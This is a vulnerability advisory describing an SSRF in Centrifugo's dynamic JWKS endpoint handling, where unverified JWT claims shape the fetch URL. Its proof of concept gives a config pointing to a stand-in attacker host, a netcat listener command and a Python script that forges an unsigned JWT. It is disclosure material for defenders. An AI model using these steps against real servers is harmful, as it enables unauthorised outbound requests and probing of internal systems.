Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL

Summary

Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.

Details

In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:

1. Token is parsed without verification: jwt.ParseNoVerify([]byte(t))
2. Claims are decoded from the unverified token
3. validateClaims() runs — extracting named regex capture groups from issuer_regex/audience_regex into tokenVars map using attacker-controlled iss/aud claim values
4. verifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled tokenVars to the JWKS manager
5. In internal/jwks/manager.go, fetchKey() interpolates tokenVars directly into the JWKS URL: jwkURL := m.url.ExecuteString(tokenVars)
6. Centrifugo makes an HTTP GET request to the attacker-controlled URL

Suppressed the security linter on this line with an incorrect comment: //nolint:gosec // URL is from server configuration, not user input. The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.

Signature verification happens too late — after the SSRF has already fired.

PoC

Required config (config.json):

{
  "client": {
    "token": {
      "jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
      "issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
    }
  },
  "http_api": { "key": "test-api-key" }
}

Step 1 — Start listener on attacker machine:

nc -lvnp 8888

Step 2 — Generate malicious unsigned JWT:

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token   = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)